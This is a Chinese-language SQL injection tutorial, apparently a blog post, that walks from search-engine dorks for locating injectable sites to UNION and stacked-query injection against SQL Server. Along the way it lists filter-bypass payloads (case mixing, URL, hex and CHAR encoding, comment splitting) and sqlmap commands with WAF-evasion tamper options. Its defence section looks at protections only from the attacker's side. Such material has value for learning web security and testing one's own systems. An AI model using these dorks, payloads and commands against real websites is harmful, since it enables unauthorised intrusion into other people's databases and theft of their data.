记一次不愉快的SQL注入实战经历
字数 1086
更新时间 2025-08-14 06:17:44

SQL注入实战教学:从发现到绕过技巧

一、SQL注入漏洞发现

1. 搜索技巧

使用特定搜索语法寻找可能存在SQL注入的网站:

  • inurl:asp?id=
  • inurl:php?id=
  • inurl:jsp?id=
  • inurl:aspx?id=

2. 初步检测

使用简单的逻辑测试判断是否存在注入点:

  • id=6006 and 1=1 - 正常返回
  • id=6006 and 1=2 - 异常返回(页面内容不同)

3. 错误检测

通过引发错误确认注入点:

  • id=6006' - 观察是否返回数据库错误信息

二、SQL Server注入基础

1. 与MySQL注入的主要区别

  • 注释符号:-- (SQL Server) vs #-- (MySQL)
  • 字符串连接:+ (SQL Server) vs concat() (MySQL)
  • 系统表差异:SQL Server使用sysobjects等系统表

2. 常用函数

  • db_name() - 获取当前数据库名
  • user - 获取当前用户
  • @@version - 获取SQL Server版本

三、注入技术详解

1. UNION联合注入

步骤1:确定列数

order by n -- 递增n直到报错

步骤2:确定回显位

id=-6006 union select 1,2,3,...,32

2. 绕过过滤技术

当发现select等关键词被过滤时,尝试以下方法:

大小写混合

SeLeCt 1,2,3

URL编码

%73%65%6C%65%63%74 (selectURL编码)

双关键字

selselectect (假设过滤机制是简单替换)

注释分割

sel/*xxx*/ect

十六进制编码

0x73656C656374 (select的十六进制)

CHAR函数

CHAR(115)+CHAR(101)+CHAR(108)+CHAR(101)+CHAR(99)+CHAR(116)

3. 堆叠注入

当UNION注入不可用时,尝试堆叠注入:

id=6006;select 1 --

数据库枚举示例

id=6006;if db_id('msdb') is not null select 1 else select 0 --

四、自动化工具使用

1. WAF检测

使用wafw00f检测网站是否部署WAF:

wafw00f http://target.com

2. SQLMap使用

基本扫描命令:

sqlmap -u "http://target.com/page.asp?id=1" --batch

绕过WAF的参数:

sqlmap -u "http://target.com/page.asp?id=1" --tamper=space2comment --random-agent

五、防御措施分析

从攻击者角度分析防御机制:

  1. 关键词过滤(如select、union)
  2. 输入类型检查(强制数字型参数)
  3. 错误信息屏蔽
  4. WAF部署

六、实战总结

  1. 耐心是关键:寻找注入点需要大量测试
  2. 灵活应对:不同数据库需要不同技术
  3. 绕过技巧:多种方法组合尝试
  4. 工具辅助:合理使用自动化工具提高效率

七、进一步学习资源

  1. SQL Server注入详细指南:

    • https://blog.csdn.net/qq_36119192/article/details/88679754
  2. SQL注入绕过技术:

    • https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF
  3. SQLMap高级用法:

    • https://github.com/sqlmapproject/sqlmap/wiki/Usage
相似文章
相似文章
 全屏